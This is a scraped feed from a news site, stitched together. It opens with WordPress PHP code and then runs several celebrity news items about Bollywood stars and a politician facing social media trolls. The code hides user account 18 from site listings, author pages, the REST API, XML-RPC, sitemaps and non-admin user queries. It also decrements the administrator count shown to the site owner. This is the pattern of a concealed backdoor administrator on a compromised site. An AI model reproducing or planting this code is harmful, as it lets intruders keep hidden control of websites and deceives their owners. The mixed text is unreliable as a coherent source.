add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Saif Ali Khan reveals Kareena’s advice that helps him tackle social media trolls appeared first on The Edge Media.
]]>In a recent interview, Saif opened up about the online trolling and said that there was a point when he would look himself up on the internet and come across something that would spoil his mood. That’s when Kareena asked him to stop reading about himself.
“I don’t read (troll comments). I am off it and it is really cool. Because it also helps me focus. It can get addictive, you know. I can google myself and start checking out what I said when and then I read something I don’t like and it spoils my mood. My wife told me, ‘you know what just stop doing it’. I had stopped for a while and I really started saying what do I do,” Saif told Bollywood Bubble.
He added, “There is something about social media which is so dangerous. There is so much anonymity you don’t know who is talking to whom. So people throw a lot of violence around and stuff like that. So it can get a little wrong.” Arjun Kapoor, who was also a part of the interview with Saif, added, “It’s the same people who follow you so it is very confusing. It’s interesting that they actually just want attention. I feel social media is just one part of my life as a human being, as an actor, as a star.”
Saif doesn’t have an official social media handle yet. Kareena, on the other hand, made her Instagram debut in March 2020 and often shares posts about her family. Saif has featured in few of her posts. She also shared posters of Saif’s upcoming film Bhoot Police, with Arjun, Yami Gautam and Jacqueline Fernandez.
The post Saif Ali Khan reveals Kareena’s advice that helps him tackle social media trolls appeared first on The Edge Media.
]]>The post Kaira Advani reacts to comments from trolls appeared first on The Edge Media.
]]>The first comment read out by Kiara was, “I don’t want to be aware about Indoo Ki Jawaani, I want to be informed about your jawaani (youth).” She replied, “I don’t want to be aware of this tweet.” She also talked about being labelled as ‘ghamandi (arrogant)’ when she does not pose for pictures. “Arre yaar, aisa nahi hai, kuch wajah toh hogi na (It is not like that, there must be a reason),” she said.
When one internet user advised her to stop working with Akshay Kumar, her co-star in films such as Good Newzz and Laxmii, she said, “We, as people who are reading comments, hume pata hona chahiye (we should know) where do we draw the line. Don’t let it get the better of you.
Kiara admitted that trolling does get to her. “I say that I ignore it but it is a form of protecting yourself. Be respectful towards others and understand ki yaar yeh bhi insaan hai, inke bhi emotions hote hai (that we are humans too and we also have emotions),” she said.
Kiara also recalled being plagued by rumours of plastic surgery back in 2018. She said that she ‘almost believed’ the comments herself.
“Main kisi event ke liye gayi thi, jo pictures bahar aaye (I went for an event and when the pictures that came out) on different social media platforms, there were a lot of comments about, ‘Oh, she has done plastic surgery.’ And the irony of it was main almost believe karne lagi ki maine kuch kiya hai apne aap ko (I almost began to believe that I did something to my face),” she said.
The post Kaira Advani reacts to comments from trolls appeared first on The Edge Media.
]]>The post Pakistan PM trolled on his statement regarding India’s 1 billion and 300 crore population. appeared first on The Edge Media.
]]>Imran khan said, “New zealand with a population of 40-50 lakh defeated India with a population of 1 billion and 300 crore in the World Test Championship final.”
To set the record straight , India has a population of around 136 crore or 1.3 billion.
Imran Khan made the gaffe while addressing the public . The video of the Pakistan Prime Minister’s latest Faux pas has gone viral now.
His video of drawing an analogy with the world population and test cricket has bought in a number of trolls online.
The post Pakistan PM trolled on his statement regarding India’s 1 billion and 300 crore population. appeared first on The Edge Media.
]]>The post Tiger Shroff shares answer for trolls appeared first on The Edge Media.
]]>As the theme of the show was to address some of the trolls and mean comments on social media about the celebrity guest, Tiger read out comments in which mostly he is bullied for the way he looks and on his acting skills.
To answer all his trolls, Tiger said, “I know from the time my first film was released people said ‘ye ladka hai ya ladki’, people commented on my face and said I look like a girl. And then they see my body! A section of people loves me for my action scenes etc. As long as love is coming in for me from my fans, I am ok. I have decided to make my own space in Bollywood, I have chosen a separate path for myself. When you try and create something of your own, there are hurdles but I take it on.”
He also said, “when it comes to trolling, it is at times scary how a nameless, faceless individual could say anything about anybody without getting caught!”
One of his trolls made a comment that Tiger read out, “Are you virgin?” to which the actor quipped, “I am a virgin like Salman (Khan) bhai!”
The episode of Arbaaz Khan’s ‘Pinch Season 2’ releases on August 3.
The post Tiger Shroff shares answer for trolls appeared first on The Edge Media.
]]>